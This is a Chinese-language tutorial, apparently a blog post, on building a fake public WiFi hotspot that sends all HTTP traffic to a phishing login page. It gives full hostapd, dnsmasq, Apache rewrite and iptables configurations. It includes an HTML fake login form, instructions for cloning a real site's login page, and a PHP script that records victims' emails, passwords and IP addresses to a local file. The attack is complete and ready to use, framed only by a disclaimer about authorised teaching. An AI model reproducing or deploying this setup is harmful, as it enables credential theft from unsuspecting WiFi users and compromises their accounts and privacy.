⚠️ 本教程仅限网络安全教学与授权环境测试,请勿非法使用,否则后果自负。
🎯 目标
搭建一个虚假 WiFi 热点,实现以下效果:
- 设备连接热点后所有 HTTP 流量被重定向至钓鱼页面
- 捕获用户输入的 Email 和密码,并记录到本地
🛠️ 准备工作
1. 检查无线网卡支持 AP 模式
iw list | grep "AP"
说明:若无输出,表示网卡不支持 AP 模式,推荐使用
TP-Link TL-WN722N V1等支持的设备。
2. 停止系统网络管理
sudo systemctl stop NetworkManager
sudo systemctl disable NetworkManager
3. 配置 WLAN 接口 IP
sudo ifconfig wlan0 down
sudo ifconfig wlan0 192.168.1.1 netmask 255.255.255.0 up
🌐 配置 DHCP 和 DNS 服务(dnsmasq)
1. 安装 dnsmasq
sudo apt update && sudo apt install dnsmasq -y
2. 编辑配置文件
sudo vim /etc/dnsmasq.conf
粘贴以下内容:
interface=wlan0
dhcp-range=192.168.1.100,192.168.1.200,255.255.255.0,24h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
no-hosts
log-queries
log-dhcp
保存并退出(按 ESC,输入 :wq)
3. 启动并检查 dnsmasq
sudo systemctl restart dnsmasq
sudo systemctl enable dnsmasq
sudo systemctl status dnsmasq
journalctl -u dnsmasq -xe
📶 创建虚假热点(hostapd)
1. 安装 hostapd
sudo apt install hostapd -y
2. 创建配置文件(模板二选一粘贴一个进去)
sudo vim /etc/hostapd.conf
粘贴以下内容(需要输入密码的模板):
interface=wlan0
driver=nl80211
ssid=Free_WiFi
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=12345678
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
或粘贴以下内容(不需要输入密码的模板):
interface=wlan0
driver=nl80211
ssid=Free_WiFi
hw_mode=g
channel=6
auth_algs=1
ignore_broadcast_ssid=0
保存退出
🛑 强制门户 + 钓鱼页面(Apache)
1. 创建 Apache 配置
sudo vim /etc/apache2/sites-available/captive.conf
粘贴内容:
<VirtualHost *:80>
ServerName captive.portal
DocumentRoot /var/www/html
ServerAlias *
RewriteEngine On
# 排除以下文件/类型:
RewriteCond %{REQUEST_URI} !^/(index\.html|capture\.php|test\.php|credentials\.txt)$
RewriteCond %{REQUEST_URI} !\.(css|js|png|jpg|gif|php|ico|svg)$
# 其余请求重定向到钓鱼页面
RewriteRule ^.*$ /index.html [L,R=302]
</VirtualHost>
2. 创建钓鱼页面或者克隆一个页面
1.创建钓鱼页面
sudo vim /var/www/html/index.html
粘贴内容:
<!DOCTYPE html>
<html>
<head>
<title>WiFi Login Required</title>
<style>body{font-family:Arial;text-align:center;margin-top:50px}form{display:inline-block;text-align:left}</style>
</head>
<body>
<h1>Public WiFi Login</h1>
<form action="/capture.php" method="POST">
<input type="text" name="email" placeholder="Email" required><br><br>
<input type="password" name="password" placeholder="Password" required><br><br>
<button type="submit">Connect</button>
</form>
</body>
</html>
2.或者克隆其它的页面作为你的钓鱼页面
注意:如果你使用克隆页面作为钓鱼页面,请务必做以下修改:
- 修改
capture.php中的接收字段(如$_POST['email']、$_POST['password'])为表单中实际使用的name属性值,确保数据能正确写入日志。 - 将 HTML 中的 CSS、图片、JS 等资源路径统一修改为相对路径,确保页面在本地能正确加载样式与资源;
- 将页面中的登录表单的
action地址改为指向你的数据接收脚本capture.php;
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://example.com/login
参数说明:
- –mirror:递归下载整个页面
- –convert-links:转换链接为本地路径
- –adjust-extension:自动添加 .html 后缀
- –page-requisites:下载CSS/JS/图片等资源
- –no-parent:不下载上级目录
具体克隆可以参考文章: https://www.zhzxs.site/index.php/2025/05/10/1746885426/
3. 创建数据捕获脚本
sudo vim /var/www/html/capture.php
粘贴内容:
<?php
$email = $_POST['email'] ?? '';
$password = $_POST['password'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$time = date('Y-m-d H:i:s');
if (!empty($email) && !empty($password)) {
file_put_contents('/var/www/html/credentials.txt',
"Time: $time | IP: $ip | Email: $email | Password: $password\n",
FILE_APPEND);
header("Location: https://www.google.com");
exit;
}
?>
4. 准备存储文件并赋权
sudo touch /var/www/html/credentials.txt
sudo chown www-data:www-data /var/www/html/credentials.txt
sudo chmod 644 /var/www/html/credentials.txt
5. 启用站点配置
sudo a2ensite captive.conf
sudo a2enmod rewrite
sudo systemctl restart apache2
🔁 流量重定向设置(iptables)
1. 清除旧规则
sudo iptables -F
sudo iptables -t nat -F
2. 设置网络转发和共享
sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
3. 重定向 HTTP 和 DNS 流量
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.1:80
sudo iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j REDIRECT --to-port 53
4. 持久化规则
sudo apt install iptables-persistent -y
sudo netfilter-persistent save
sudo netfilter-persistent reload
5. 启动热点服务
sudo hostapd /etc/hostapd.conf
📱 使用说明
- 打开终端,依次启动:
dnsmasq→apache2 →hostapd - 手机连接名为 Free_WiFi 的无线(密码:
12345678) - 打开任意网页,会跳转至钓鱼页面
- 实时查看凭证日志:
sudo tail -f /var/www/html/credentials.txt
⚖️ 法律声明
本项目仅限用于网络安全研究、渗透测试培训、实验教学等授权环境下使用。
严禁用于任何非法行为,否则由使用者承担全部法律责任!










